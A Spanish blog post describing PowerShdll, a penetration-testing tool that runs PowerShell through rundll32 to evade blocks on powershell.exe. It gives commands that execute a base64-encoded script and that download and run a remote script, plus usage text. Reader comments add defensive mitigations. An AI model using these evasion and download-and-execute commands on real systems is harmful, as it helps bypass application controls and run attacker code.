PowerShdll: Ejecuta PowerShell con rundll32

En un test de intrusión algunas veces (aunque desgraciadamente pocas) existen restricciones que permiten ejecutar powershell. Por ejemplo, puede darse el caso en el que vayamos a instalar un agente de Empire y nos encontremos con que el cliente bloquea powershell.exe. ¡No hay problema! PowerShdll v0.2 nos permite ejecutar Powershell sólo con dlls, mediante rundll32:

Ejecutar un script codificado en base64:

rundll32 Powershdll.dll,main $a = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("BASE64")); Invoke-Expression $a

Descargar y ejecutar un script:

rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

Modo dll:
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -f <path>       Run the script passed as argument
rundll32 PowerShdll,main -w      Start an interactive console in a new window
rundll32 PowerShdll,main -i      Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output

Modo exe:
Usage:
PowerShdll.exe <script>
PowerShdll.exe -f <path>       Run the script passed as argument
PowerShdll.exe -i      Start an interactive console in this console

Nota: En modo dll, el modo interactivo y la salida del comando dependen de secuestrar la consola del proceso padre. Si el proceso padre no tiene consola, hay que utilizar el parámetro -n para no mostrar la salida o de lo contrario la aplicación se bloqueará.

Proyecto: https://github.com/p3nt4/PowerShdll

4 comentarios :

  1. ¿Podríamos considerar ésto como un rootkit?

    ResponderEliminar
    Respuestas
    1. No, para nada. Esto simplemente es una herramienta que nos permitirá ejecutar powershell sin llamar a powershell.exe, mediante dlls. Un rootkit es un programa (normalmente residente) que se oculta interceptando las llamadas y funciones del sistema operativo.

      Saludos,

      Eliminar
    2. Aclaradísimo. ¡Gracias, crack!
      Creo que PowerShdll pega muy bien con InjectProc (https://github.com/secrary/InjectProc)

      Eliminar
  2. Muchas gracias!
    Adicionalmente, para paliar este tipo de comportamientos, se puede recurrir a una correlación de un SIEM y observar lo que va tras el rundll32; hay AV que ofrecen la opción de detección de este tipo de acciones o cargas de DLL sospechosas.
    Igualmente, si tenemos ACLs, el powershell constrained mode puesto y demás mitigaciones, conseguimos al menos delimitar funcionalidades.
    Si tenemos applocker con la opción de monitorizar DLLs (a expensas claro de rendimiento), también puede servir para mitigarlo.
    Gracias como siempre por compartir el conocimiento.
    Un saludo

    ResponderEliminar